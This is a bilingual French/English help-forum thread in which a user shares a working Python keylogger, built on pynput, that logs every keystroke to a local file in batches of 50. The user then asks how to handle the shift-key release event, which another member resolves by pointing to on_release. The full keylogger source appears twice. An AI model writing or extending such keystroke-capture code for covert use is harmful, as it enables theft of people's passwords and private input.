Keylogger function on_remove_key() Fr/En

Résolu/Fermé
Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019 - 23 sept. 2019 à 16:50
Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019 - 23 sept. 2019 à 19:47
Français :

Bonjour, j'ai crée un programme keylogger qui enregistre les keys après 50 caractères sur python qui fonctionne parfaitement. Le voici :



from pynput.keyboard import Key, Listener


def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"

keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()


def on_release(key):
if key == Key.esc:
return False


with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()



Le seul problème est que quand on retire la touche shift du clavier, le keylogger ne le remarque pas (ce qui est normal). Pourriez vous m'aider à créer une fonction on_remove_key() ?

English :

Hello, I created a keylogger program that records keys after 50 characters on python and that works perfectly. Here it is :


from pynput.keyboard import Key, Listener


def on_press(key, keys=keys):
if key == Key.space:
key = " "
elif key == Key.backspace:
key = "<--"
elif key == Key.caps_lock:
key = "Majuscule block"
elif key == Key.tab:
key = "Tab"

keys.append(str(key).strip("''"))
if len(keys) == 50:
file = open("logkeys.txt", "a")
file.write(str(keys) + "\n")
file.close()
keys.clear()


def on_release(key):
if key == Key.esc:
return False


with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()


The only problem is that when you remove the shift key from the keyboard, the keylogger does not notice (which is normal). Could you help me create an on_remove_key() function?

Merci :)
Thanks :)
A voir également:

1 réponse

yg_be Messages postés 22726 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 26 avril 2024 1 476
Modifié le 23 sept. 2019 à 18:02
bonjour, quel est ton soucis avec la création de cette fonction?
peux-tu utiliser les balises de code quand tu postes du code?
0
Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019
Modifié le 23 sept. 2019 à 17:50
Et bien je ne sais pas comment envoyer le signal : "bouton shift remove"
0
yg_be Messages postés 22726 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 26 avril 2024 1 476 > Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019
23 sept. 2019 à 18:13
tu voudrais que ton programme traite l’événement "retirer la touche shift"? as-tu essayé de programmer la fonction on_release? c'est quoi "on remove"?
tu n'as pas expliqué ce que ton programme devrait faire avec cet événement.
0
Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019
23 sept. 2019 à 18:55
... J'ai tt compris... ^^' excuse moi en fait je ne savais pas ce qu'etait la fonction on_release()... comme je ne suis pas bon en anglais je ne comprenais pas le mot release... Excuse moi de t'avoir deranger. ^^'
0
yg_be Messages postés 22726 Date d'inscription lundi 9 juin 2008 Statut Contributeur Dernière intervention 26 avril 2024 1 476 > Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019
23 sept. 2019 à 19:46
tb, peux-tu alors marquer je sujet comme résolu, via la roue dentée à droite du titre?
0
Sinage Messages postés 4 Date d'inscription lundi 23 septembre 2019 Statut Membre Dernière intervention 23 septembre 2019
23 sept. 2019 à 19:47
Ah oui pardon j'ai oublié
0